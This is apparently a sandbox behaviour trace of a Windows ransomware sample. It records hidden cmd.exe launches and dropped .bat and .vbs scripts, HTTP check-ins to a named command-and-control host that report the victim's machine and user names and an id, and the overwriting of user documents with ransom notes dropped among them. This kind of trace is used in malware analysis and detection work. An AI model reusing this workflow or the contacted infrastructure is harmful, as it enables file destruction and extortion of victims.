File	Get Info	filename = C:\Users\FD1HVy\Desktop\ALL_dmp.fldp, type = file_attributes	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop\log.txt, type = file_attributes	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\log.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\log.txt, size = 72	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
System	Get Time	type = Ticks, time = 169531	1	Fn
System	Get Time	type = Performance Ctr, time = 16957000406	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\GJhtEkh2.bmp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\GJhtEkh2.bmp, size = 60292	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\GJhtEkh2.bmp, type = file_attributes	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cmd.exe, os_pid = 0x10fc, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
System	Get Time	type = Ticks, time = 169921	1	Fn
System	Get Time	type = Performance Ctr, time = 16996049186	1	Fn
System	Get Time	type = Ticks, time = 169921	1	Fn
System	Get Time	type = Performance Ctr, time = 16996081333	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat, size = 266	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\V1nQ8f0P.bat, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\eapzhiWZ.vbs, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\eapzhiWZ.vbs, size = 261	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\eapzhiWZ.vbs, type = file_attributes	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cmd.exe, os_pid = 0x1104, creation_flags = CREATE_NEW_CONSOLE, CREATE_NORMAL_PRIORITY_CLASS, startup_flags = STARTF_USESHOWWINDOW, show_window = SW_HIDE	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	1	Fn
System	Get Time	type = Ticks, time = 169937	1	Fn
System	Get Time	type = Performance Ctr, time = 16997556707	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, size = 185480	1	Fn Data
System	Get Time	type = Ticks, time = 169953	1	Fn
System	Get Time	type = Performance Ctr, time = 16998838701	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, size = 226	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, type = file_attributes	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, type = file_attributes	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\m.exe, file_name_orig = C:\Users\FD1HVy\Desktop\m.exe, size = 261	2	Fn
System	Sleep	duration = 25 milliseconds (0.025 seconds)	13	Fn
System	Sleep	duration = -1 (infinite)	1	Fn

Thread 0xf2c

11

12

»

Category	Operation	Information	Count	Logfile
DNS	Resolve Name	host = gman.mygoodsday.org, address_out = 185.143.173.235, service = 80	1	Fn
Socket	Create	protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM	1	Fn
Socket	Connect	remote_address = 185.143.173.235, remote_port = 80	1	Fn
Socket	Send	flags = NO_FLAG_SET, size = 222, size_out = 222	1	Fn Data
Inet	Open Session	user_agent = Mozilla/4.0 (compatible; Synapse)	1	Fn
Inet	Open Connection	protocol = http, server_name = gman.mygoodsday.org, server_port = 80	1	Fn
Inet	Open HTTP Request	http_verb = GET, http_version = HTTP/1.0, target_resource = /addrecord.php?apikey=sden_api_key&compuser=NQDPDE\|FD1HVy&sid=L4Ik1DToI3z96xes&phase=START	1	Fn
Inet	Send HTTP Request	headers = Host: gman.mygoodsday.org, Keep-Alive: 300, Connection: keep-alive, User-Agent: Mozilla/4.0 (compatible; Synapse), url = gman.mygoodsday.org/addrecord.php?apikey=sden_api_key&compuser=NQDPDE\|FD1HVy&sid=L4Ik1DToI3z96xes&phase=START	1	Fn Data
System	Get Time	type = Performance Ctr, time = 13868558008	1	Fn
System	Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
Socket	Receive	flags = NO_FLAG_SET, size = 178, size_out = 178	1	Fn Data
Inet	Read Response	size = 178, size_out = 178	1	Fn Data
System	Get Time	type = Performance Ctr, time = 13882002155	1	Fn
System	Get Time	type = Performance Ctr, time = 13882013370	1	Fn
System	Get Time	type = Performance Ctr, time = 13882032520	1	Fn
System	Get Time	type = Performance Ctr, time = 13882045703	1	Fn
System	Get Time	type = Performance Ctr, time = 13882057498	1	Fn
System	Get Time	type = Performance Ctr, time = 13882069052	1	Fn
System	Get Time	type = Performance Ctr, time = 13882079383	1	Fn
System	Get Time	type = Performance Ctr, time = 13882279915	1	Fn
System	Sleep	duration = 1 milliseconds (0.001 seconds)	1	Fn
Socket	Close	type = SOCK_STREAM	1	Fn
Inet	Close Session	-	1	Fn

Thread 0x105c

11

12

»

Category	Operation	Information	Count	Logfile
DNS	Resolve Name	host = gman.mygoodsday.org, address_out = 185.143.173.235, service = 80	1	Fn
Socket	Create	protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM	1	Fn
Socket	Connect	remote_address = 185.143.173.235, remote_port = 80	1	Fn
Socket	Send	flags = NO_FLAG_SET, size = 238, size_out = 238	1	Fn Data
Inet	Open Session	user_agent = Mozilla/4.0 (compatible; Synapse)	1	Fn
Inet	Open Connection	protocol = http, server_name = gman.mygoodsday.org, server_port = 80	1	Fn
Inet	Open HTTP Request	http_verb = GET, http_version = HTTP/1.0, target_resource = /addrecord.php?apikey=sden_api_key&compuser=NQDPDE\|FD1HVy&sid=L4Ik1DToI3z96xes&phase=[ALL]6088DED4F047F45E	1	Fn
Inet	Send HTTP Request	headers = Host: gman.mygoodsday.org, Keep-Alive: 300, Connection: keep-alive, User-Agent: Mozilla/4.0 (compatible; Synapse), url = gman.mygoodsday.org/addrecord.php?apikey=sden_api_key&compuser=NQDPDE\|FD1HVy&sid=L4Ik1DToI3z96xes&phase=[ALL]6088DED4F047F45E	1	Fn Data
System	Get Time	type = Performance Ctr, time = 15152395334	1	Fn
System	Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
Socket	Receive	flags = NO_FLAG_SET, size = 178, size_out = 178	1	Fn Data
Inet	Read Response	size = 178, size_out = 178	1	Fn Data
System	Get Time	type = Performance Ctr, time = 15164921462	1	Fn
System	Get Time	type = Performance Ctr, time = 15164933696	1	Fn
System	Get Time	type = Performance Ctr, time = 15164945711	1	Fn
System	Get Time	type = Performance Ctr, time = 15164957508	1	Fn
System	Get Time	type = Performance Ctr, time = 15164969124	1	Fn
System	Get Time	type = Performance Ctr, time = 15164980935	1	Fn
System	Get Time	type = Performance Ctr, time = 15164992491	1	Fn
System	Get Time	type = Performance Ctr, time = 15165198702	1	Fn
System	Sleep	duration = 1 milliseconds (0.001 seconds)	1	Fn
Socket	Close	type = SOCK_STREAM	1	Fn
Inet	Close Session	-	1	Fn

Thread 0x10f8

11

12

»

Category	Operation	Information	Count	Logfile
DNS	Resolve Name	host = gman.mygoodsday.org, address_out = 185.143.173.235, service = 80	1	Fn
Socket	Create	protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM	1	Fn
Socket	Connect	remote_address = 185.143.173.235, remote_port = 80	1	Fn
Socket	Send	flags = NO_FLAG_SET, size = 242, size_out = 242	1	Fn Data
Inet	Open Session	user_agent = Mozilla/4.0 (compatible; Synapse)	1	Fn
Inet	Open Connection	protocol = http, server_name = gman.mygoodsday.org, server_port = 80	1	Fn
Inet	Open HTTP Request	http_verb = GET, http_version = HTTP/1.0, target_resource = /addrecord.php?apikey=sden_api_key&compuser=NQDPDE\|FD1HVy&sid=L4Ik1DToI3z96xes&phase=6088DED4F047F45E\|5152\|1GB	1	Fn
Inet	Send HTTP Request	headers = Host: gman.mygoodsday.org, Keep-Alive: 300, Connection: keep-alive, User-Agent: Mozilla/4.0 (compatible; Synapse), url = gman.mygoodsday.org/addrecord.php?apikey=sden_api_key&compuser=NQDPDE\|FD1HVy&sid=L4Ik1DToI3z96xes&phase=6088DED4F047F45E\|5152\|1GB	1	Fn Data
System	Get Time	type = Performance Ctr, time = 16957282267	1	Fn
System	Sleep	duration = 0 milliseconds (0.000 seconds)	1	Fn
Socket	Receive	flags = NO_FLAG_SET, size = 178, size_out = 178	1	Fn Data
Inet	Read Response	size = 178, size_out = 178	1	Fn Data
System	Get Time	type = Performance Ctr, time = 16990506616	1	Fn
System	Get Time	type = Performance Ctr, time = 16990516456	1	Fn
System	Get Time	type = Performance Ctr, time = 16990525964	1	Fn
System	Get Time	type = Performance Ctr, time = 16990535427	1	Fn
System	Get Time	type = Performance Ctr, time = 16990544919	1	Fn
System	Get Time	type = Performance Ctr, time = 16990554335	1	Fn
System	Get Time	type = Performance Ctr, time = 16990563752	1	Fn
System	Get Time	type = Performance Ctr, time = 16990731447	1	Fn
System	Sleep	duration = 1 milliseconds (0.001 seconds)	1	Fn
Socket	Close	type = SOCK_STREAM	1	Fn
Inet	Close Session	-	1	Fn

Thread 0x110c

151

0

»

Category	Operation	Information	Count	Logfile
File	Write	filename = STD_OUTPUT_HANDLE, size = 36	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 37	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 37	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 37	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 67	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 151	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 259	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 308	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 368	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 464	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 558	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\add-comment-2x.png, size = 630	1	Fn Data
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\All Users\Microsoft\Windows Live\WLive48x48.png, size = 673	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ko-kr\!SDEN_INFO!.rtf, size = 789	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\et\messages.json, size = 1367	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 1504	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 2527	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 3450	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 3502	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 3571	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 3624	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 3708	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 3783	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 3879	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\LocalState\RootTools\!SDEN_INFO!.rtf, size = 3952	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, size = 4030	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 40	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn

Thread 0x1110

2602

0

»

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Users\All Users\Microsoft\Network\Downloader\qmgr.db, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\content-prefs.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\content-prefs.sqlite, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\content-prefs.sqlite, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\content-prefs.sqlite, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\content-prefs.sqlite, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z, size = 61440, size_out = 61440	136	Fn Data
File	Read	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z, size = 16384, size_out = 16384	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z, size = 17800	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z, size = 61440	136	Fn Data
File	Write	filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z, size = 32768	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\tmPhlv28.xls, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\tmPhlv28.xls, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\tmPhlv28.xls, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\tmPhlv28.xls, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\ZOJs8SfeUiV.docx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\ZOJs8SfeUiV.docx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\ZOJs8SfeUiV.docx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\ZOJs8SfeUiV.docx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\ZOJs8SfeUiV.docx, size = 16384	1	Fn Data
